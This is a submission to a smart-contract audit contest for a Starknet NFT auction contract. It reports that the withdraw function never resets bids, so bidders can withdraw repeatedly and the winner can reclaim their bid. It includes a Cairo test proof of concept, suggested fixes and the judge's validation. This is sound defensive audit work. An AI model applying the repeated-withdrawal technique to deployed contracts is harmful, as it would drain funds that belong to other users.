Starknet Auction
First Flight #26
Beginner FriendlyNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Multiple Withdrawal Vulnerabilities

abhishekthakur

Summary

bidders can withdraw multiple times due to lack of checks in the withdraw function.

Vulnerability Details

https://github.com/Cyfrin/2024-10-starknet-auction/blob/main/src/starknet_auction.cairo#L116-L137

  • Multiple Withdrawals for All Bidders: The withdraw function allows all bidders, including non-winners, to withdraw their bids multiple times. This is because the bid amounts are never reset after withdrawal.

  • Auction Winner Can Reclaim Funds: The contract doesn't distinguish between the winning bidder and other bidders in the withdrawal process. This allows the auction winner to withdraw their bid, effectively undoing the auction result.

  • Lack of State Tracking: The contract doesn't track whether a withdrawal has occurred or the auction has been settled, allowing for these incorrect behaviors.

POC

#[test]
fn test_multiple_vulnerabilities_in_withdraw() {
let (auction_dispatcher, auction_contract, erc20_contract_address, _) = deploy_auction_contract();
auction_dispatcher.start(86400, 10);
​
let erc20_dispatcher = IMockERC20TokenDispatcher { contract_address: erc20_contract_address };
// First bidder
let bidder1: ContractAddress = 123.try_into().unwrap();
start_cheat_caller_address_global(bidder1);
erc20_dispatcher.mint(bidder1, 20);
erc20_dispatcher.token_approve(auction_contract, 20);
auction_dispatcher.bid(15);
stop_cheat_caller_address_global();
​
// Second bidder (winner)
let bidder2: ContractAddress = 124.try_into().unwrap();
start_cheat_caller_address_global(bidder2);
erc20_dispatcher.mint(bidder2, 25);
erc20_dispatcher.token_approve(auction_contract, 25);
auction_dispatcher.bid(20);
stop_cheat_caller_address_global();
​
// End the auction
let time = get_block_timestamp();
start_cheat_block_timestamp(auction_contract, time + 86401);
auction_dispatcher.end();
​
// Test multiple withdrawals by non-winning bidder
start_cheat_caller_address_global(bidder1);
let initial_balance1 = erc20_dispatcher.token_balance_of(bidder1);
auction_dispatcher.withdraw();
let balance_after_first_withdrawal1 = erc20_dispatcher.token_balance_of(bidder1);
auction_dispatcher.withdraw();
let balance_after_second_withdrawal1 = erc20_dispatcher.token_balance_of(bidder1);
assert(balance_after_second_withdrawal1 > balance_after_first_withdrawal1, 'Non-winner should not withdraw twice');
stop_cheat_caller_address_global();
​
// Test withdrawal by winning bidder
start_cheat_caller_address_global(bidder2);
let initial_balance2 = erc20_dispatcher.token_balance_of(bidder2);
auction_dispatcher.withdraw();
let balance_after_withdrawal2 = erc20_dispatcher.token_balance_of(bidder2);
assert(balance_after_withdrawal2 > initial_balance2, 'Winner should not be able to withdraw');
stop_cheat_caller_address_global();
}

Impact

  • Financial Loss: The contract could be drained of more funds than were actually bid, leading to significant financial loss.

  • Auction Integrity: The ability for the winner to withdraw their bid undermines the entire auction process, as the highest bidder can effectively cancel their win.

  • Unfair Advantage: Bidders who realize this vulnerability could exploit it to withdraw more than their initial bid, potentially profiting unfairly.

Tools Used

Manual Review

Recommendations

  • Implement a withdrawal tracking mechanism:

    self.bid_values.entry(caller).write(0);

  • Distinguish between the winner and other bidders:

if caller == self.highest_bidder.read() {
assert(false, 'Winner cannot withdraw');
}

Add this check to prevent the auction winner from withdrawing their bid.

  • Implement an auction settlement process:
    After the auction ends, transfer the winning bid to the NFT owner and the NFT to the winner automatically, rather than
    relying on manual withdrawals.

Updates

Lead Judging Commences

bube Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `withdraw` function

The `withdraw` function doesn't reset the `bid_values` to 0 after the withdraw. That means the bidder can call multiple time the `withdraw` function and receive the whole balance of the protocol.

The `highest_bidder` can withdraw the value of all bids

The `withdraw` function allows the participants to receive back the value of all their unsuccessful bids. The problem is that the winner of the auction will receive all bids including the `highest_bid` that should be paid to the NFT owner.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.